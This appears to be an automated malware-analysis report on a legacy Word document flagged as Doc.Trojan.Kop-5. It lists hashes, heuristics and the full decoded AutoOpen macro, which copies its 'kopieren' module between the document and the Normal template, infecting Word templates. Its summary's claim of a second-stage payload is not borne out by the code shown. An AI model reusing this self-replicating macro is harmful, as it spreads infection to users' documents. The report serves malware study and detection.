Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 980a7637cd000e89…

MALICIOUS

Office (OLE)

26.0 KB Created: 1999-07-05 12:48:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a9175040c0db78205c9efe2b626c97d6 SHA-1: 72770fdf29453e1167930329cc3cfd91947b79fd SHA-256: 980a7637cd000e895a749883ce13891e4a87a506d4dc6330f4dc6fb8ab3fb5cf
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious OLE document containing a legacy WordBasic AutoOpen macro. This macro attempts to export and import a VBA component named 'kopieren' to a local path, likely to execute a second-stage payload. The ClamAV detection 'Doc.Trojan.Kop-5' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Kop-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Kop-5
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 790 bytes
SHA-256: 934b152927731d384dc5aa33122020ba3013dd189ea7065960a0d77f653a23b5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "kopieren"
Sub AutoOpen()
On Error Resume Next
If NormalTemplate.VBProject.VBComponents.Item("kopieren").Name <> "kopieren" Then
ActiveDocument.VBProject.VBComponents("kopieren").Export "c:\kopieren.vxd"
NormalTemplate.VBProject.VBComponents.Import ("c:\kopieren.vxd")
ElseIf ActiveDocument.VBProject.VBComponents.Item("kopieren").Name <> "kopieren" Then
NormalTemplate.VBProject.VBComponents("kopieren").Export "c:\kopieren.vxd"
ActiveDocument.VBProject.VBComponents.Import ("c:\kopieren.vxd")
End If
End Sub